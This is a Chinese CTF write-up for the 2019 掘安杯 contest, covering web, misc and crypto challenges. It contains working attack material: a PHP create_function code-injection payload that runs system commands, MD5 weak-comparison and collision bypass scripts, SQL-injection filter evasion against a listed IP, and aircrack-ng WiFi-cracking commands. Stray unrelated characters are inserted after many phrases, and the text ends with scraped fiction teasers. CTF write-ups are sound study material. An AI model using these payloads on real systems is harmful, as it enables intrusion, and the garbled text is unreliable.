2019 掘安杯 WriteUp

Web

Web簽到

訪問flag.php可以看到有個(gè)302跳轉(zhuǎn)萝招,flag就在請(qǐng)求頭里梢褐。


base64解密得到flag

猜密碼

打開F12獲得源碼:

<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜測(cè)錯(cuò)誤.</p>';
        $_SESSION['pwd']=time().time();
    }
}

可以看到基于SESSION里的pwd來獲取,那把session情況,那么pwd就變?yōu)?code>null祝拯,就可以繞過了。
構(gòu)造:

下載下載

F12看到提示:


構(gòu)造:

/?file=flag.php

得到源碼:

<?php
header('Content-Type: text/html; charset=utf-8'); //網(wǎng)頁編碼
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)

?>

自己本地運(yùn)行下decrypt()就能得到flag暮芭。

該網(wǎng)站已被黑

bugkuctf 網(wǎng)站被黑原題

not_easy

打開給了源碼:

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
} 

這是Code-Breaking Puzzles原題鹿驼,這是最后$action($arg,'');這里的參數(shù)位置換了一下。
構(gòu)造:

/?action=\create_function&arg=){}phpinfo();//

可以看到成功執(zhí)行了phpinfo()辕宏。


那就直接使用下面payload就可以了:

/?action=\create_function&arg=){}var_dump(scandir('./'));//    # 查看當(dāng)前目錄
/?action=\create_function&arg=){}var_dump(system('cat Th1s_1S_F1a9_Hav3_Fun'));//    # 獲取flag

audit

打開給了源碼:

 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

str1 OR Sstr2 no no no

題目與hgame 2019Week2Week3題目類似畜晰。
第一步直接構(gòu)造弱類型和數(shù)組繞過。
第二步為MD5碰撞瑞筐,使用python-md5-collision生成一堆相似的MD5文件凄鼻。
第三步要求傳入的a為大寫字母,b為數(shù)字且長度大于6聚假,mn的長度大于6块蚌。
$str8$ahash加密后的值,$str9$bhash加密后膘格,把$m替換為$n,要求$str8== $str9峭范。還是用的弱類型。
傳入的$ahash加密后為0e開頭瘪贱,如果$bhash加密后0e開頭纱控,可以滿足,長度為6不能滿足菜秦,但是還有次替換甜害,只需要把0e后不是數(shù)字的替換為數(shù)字就可以。
構(gòu)造腳本滿足好了:

def md5(str):
  p= hashlib.md5(str).hexdigest()
  return p


for i in range(1,999999):
  if md5(str(i))[0:2] == '0e':
    if 'e' not in md5(str(i))[2:]:
      if 'f' not in md5(str(i))[2:]:
        if 'a' not in md5(str(i))[2:]:
          print i

最后的腳本:

import hashlib
def md5(str):
  p= hashlib.md5(str).hexdigest()
  return p


for i in range(1,999999):
  if md5(str(i))[0:2] == '0e':
    if 'e' not in md5(str(i))[2:]:
      if 'f' not in md5(str(i))[2:]:
        if 'a' not in md5(str(i))[2:]:
          print i


#-*-codeing:utf-8
import requests
url="http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
str5= open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6= open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7= open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()

data= {
  'str5':str5,
  'str6':str6,
  'str7':str7,
  'a':'QNKCDZO',
  'b':'259987'
}


res= requests.post(url=url,data=data)
print res.content

曲折的人生

一個(gè)登錄框注入球昨,有回顯尔店,過濾了一些unionselect主慰、空格等嚣州。


雙寫繞過,空格用/**/來代替共螺。
可以看到字段為3避诽,2的地方有回顯。

得到數(shù)據(jù)庫xiaowei璃谨。

查找數(shù)據(jù)表名為admin沙庐。這里or被過濾了,所以構(gòu)造infmation_schema時(shí)要變?yōu)?code>infoorrmation_schema佳吞。

查到列名為id拱雏、usernamepassword底扳。



查到用戶名為goodboy_g-60Hellowor铸抑,密碼為ajahas&&*44askldajaj


這里有個(gè)坑啊衷模,提交的用戶名里的or也會(huì)被過濾鹊汛,所以提交的時(shí)候用戶名要變?yōu)?code>goodboy_g-60Hellowoorr蒲赂。
編寫腳本登錄:

import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/?check'

username = 'goodboy_g-60Hellowoorr'
password = 'ajahas&&*44askldajaj'

s = requests.Session()
res = s.get(url)
res.encoding = res.apparent_encoding

soup = BeautifulSoup(res.text,'html.parser')
number = soup.find_all('div','rep')
answer = str(number[0])[17:-6]
answer = answer.replace('(','(').replace('X','*').replace(')',')')
code = int(eval(answer))

data = {
    'username':username,
    'password':password,
    'code':code
}

res = s.post(url,data=data)
res.encoding = res.apparent_encoding
print(res.text)

得到

 <div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代碼審計(jì).zip</a></div>

訪問一個(gè)zip文件:

/sss88ioiern.gdsgj.zip

解壓密碼為%^$%&sss88ioiern.gdsgj
給了一個(gè)form.txt

Private Function getPassword(ByVal str As String) As String


    Dim reString As String
    
    Dim i As Integer
    i = 1
    
    
    While (i <= Len(str))
    
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    
    
    Wend
    

    getPassword = reString

End Function



Private Sub Command1_Click()

   Dim Dictionary As String
    
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
   
   Dim password As String
   
   password = getPassword(Dictionary)


   Dim psw As String
   
   psw = Text1.Text
   

   If (psw = password) Then
   
    MsgBox "The password is correct!", vbOKOnly, "密碼正確"
    
    Text1.Text = "Password for next pass : " & getPassword(password)
       
   Else
   
    MsgBox "PasswordFail!", vbOKOnly, "密碼錯(cuò)誤"
    
      
   End If
   
      

End Sub

編寫腳本計(jì)算:

def getPassword(str):
    restr = ''
    i=1
    while i <= len(str):
        restr = restr + (str[i-1:i])
        i = i+ (i%5)
    return restr

dict = 'VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU='

password = getPassword(dict)
password = getPassword(password)
print(password)

得到:

VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

用這個(gè)作為壓縮密碼解壓打開就可以得到flag刁憋。

Misc

so_easy

打開看到一堆base58的東西滥嘴。


使用base58在線解密得到一個(gè)image

使用base64編碼轉(zhuǎn)圖片至耻,得到一個(gè)二維碼若皱。

二維碼掃描得到flag

這是什么玩意兒

得到一串=E4=BD=9B=E6=類似的:


使用Quoted-Printable編碼在線解密

使用與佛論禪

使用社會(huì)主義編碼

該死的溫柔

打開圖片備注里有提示:


使用outguess

$ outguess -k "guess" -r flag.jpg ctf.txt

解密得到flag尘颓。

小梳子走触,我永遠(yuǎn)只愛你一個(gè)人

題目要破解wifi密碼。
使用kali上的工具crunch制作字典:

$ crunch 11 11 -t 138364%%%%% -o /root/桌面/test.txt

然后使用aircrack-ng爆破密碼:

$ aircrack-ng -w /root/桌面/test.txtTenda_D07D90-01.cap
# 選擇編號(hào)12

你對(duì)我的網(wǎng)站做了什么

打開是一個(gè)流量包疤苹,追蹤下http流量互广,可以發(fā)現(xiàn)一個(gè)flag.txt文件:


使用base64解密eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi
得到x\x9cK\xcbIL\xaf\x0e\x8dO3\xccK\x89\xf7MU\xac\x05\x003\xe3\x05\xe2
使用pythonzlib庫解壓得到flag卧土。

真的不是圖片

題目是一張圖片兜辞,我們binwalk一下,發(fā)現(xiàn)了有zip


使用foremost分離夸溶,無果逸吵。。


看到binwalk分析出來的圖片中少了zip文件頭缝裁,根據(jù)數(shù)據(jù)區(qū)尋找14000000
image

可以看到504b0304被替換成了6a613636也就是ja66扫皱,
將他改回來:

使用binwalk分析,此時(shí)正常

并且分離出了2個(gè)壓縮包捷绑,可以看出是一個(gè)壓縮包放在另一個(gè)壓縮包里了韩脑。所以只有一個(gè)壓縮包。但是是被加密過的粹污。

此時(shí)段多,將之前的ja66填上去,密碼正確壮吩。解壓文件
好多文件夾进苍,打開后,每個(gè)文件夾有一個(gè)文本 里邊都有一個(gè)字符
寫個(gè)腳本

import base64
flag=''
for i in range(32):
    f=open('./subject/'+str(i)+'/'+str(i)+'.txt','r')
    flag+=f.read()
print base64.b64decode(flag)

Crypto

羅馬帝國的奠基者

變異凱撒密碼鸭叙,用腳本:

s = "XXXX"
r = ''
for i in range(len(s)):
    r = r+chr(ord(s[i])+4+i)
print(r)
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末觉啊,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子沈贝,更是在濱河造成了極大的恐慌杠人,老刑警劉巖,帶你破解...
    沈念sama閱讀 207,113評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異嗡善,居然都是意外死亡辑莫,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評(píng)論 2 381
  • 文/潘曉璐 我一進(jìn)店門罩引,熙熙樓的掌柜王于貴愁眉苦臉地迎上來各吨,“玉大人,你說我怎么就攤上這事蜒程∩鹉悖” “怎么了伺帘?”我有些...
    開封第一講書人閱讀 153,340評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵昭躺,是天一觀的道長。 經(jīng)常有香客問我伪嫁,道長领炫,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,449評(píng)論 1 279
  • 正文 為了忘掉前任张咳,我火速辦了婚禮帝洪,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘脚猾。我一直安慰自己葱峡,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,445評(píng)論 5 374
  • 文/花漫 我一把揭開白布龙助。 她就那樣靜靜地躺著砰奕,像睡著了一般。 火紅的嫁衣襯著肌膚如雪提鸟。 梳的紋絲不亂的頭發(fā)上军援,一...
    開封第一講書人閱讀 49,166評(píng)論 1 284
  • 那天,我揣著相機(jī)與錄音称勋,去河邊找鬼胸哥。 笑死,一個(gè)胖子當(dāng)著我的面吹牛赡鲜,可吹牛的內(nèi)容都是我干的空厌。 我是一名探鬼主播,決...
    沈念sama閱讀 38,442評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼银酬,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼蝇庭!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起捡硅,我...
    開封第一講書人閱讀 37,105評(píng)論 0 261
  • 序言:老撾萬榮一對(duì)情侶失蹤哮内,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體北发,經(jīng)...
    沈念sama閱讀 43,601評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡纹因,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,066評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了琳拨。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瞭恰。...
    茶點(diǎn)故事閱讀 38,161評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖狱庇,靈堂內(nèi)的尸體忽然破棺而出惊畏,到底是詐尸還是另有隱情,我是刑警寧澤密任,帶...
    沈念sama閱讀 33,792評(píng)論 4 323
  • 正文 年R本政府宣布颜启,位于F島的核電站,受9級(jí)特大地震影響浪讳,放射性物質(zhì)發(fā)生泄漏缰盏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,351評(píng)論 3 307
  • 文/蒙蒙 一淹遵、第九天 我趴在偏房一處隱蔽的房頂上張望口猜。 院中可真熱鬧,春花似錦透揣、人聲如沸济炎。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽须尚。三九已至,卻和暖如春拆祈,著一層夾襖步出監(jiān)牢的瞬間恨闪,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評(píng)論 1 261
  • 我被黑心中介騙來泰國打工放坏, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留咙咽,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,618評(píng)論 2 355
  • 正文 我出身青樓淤年,卻偏偏與公主長得像钧敞,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子麸粮,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,916評(píng)論 2 344

推薦閱讀更多精彩內(nèi)容

  • 今天上午溉苛,我們一家和姨媽一家一起去姥姥家過元旦。一路上我們?cè)谲嚴(yán)飮\嘰喳喳說笑個(gè)不停弄诲。 不知不覺我們很快來到了姥姥家...
    小潤澤閱讀 379評(píng)論 0 8
  • 一手干花 /第五版[首發(fā)微信] 近幾天雨水是真豐沛愚战,一天以內(nèi)總在暴雨娇唯,暴雨驟停,陽光乍現(xiàn)和暴雨之間隨機(jī)循環(huán)寂玲,好在雷...
    第五版地址找不到閱讀 213評(píng)論 0 0
  • 人生閱歷漸豐塔插,情感脆弱日盛。 如此語于人不知拓哟,自己解悟也懵懂想许,不知何由生。 應(yīng)是體會(huì)趨深断序,猶如肥厚土層流纹。 但有栽種...
    花甲日記閱讀 425評(píng)論 1 6
  • 【作者 / 樂評(píng)人:青煙嶺】 前幾天熱映的綜藝《國風(fēng)美少年》中,有位選手的表現(xiàn)非常不錯(cuò)违诗,最終也成功獲得導(dǎo)師肯定漱凝,但...
    樂評(píng)人青煙嶺閱讀 431評(píng)論 0 1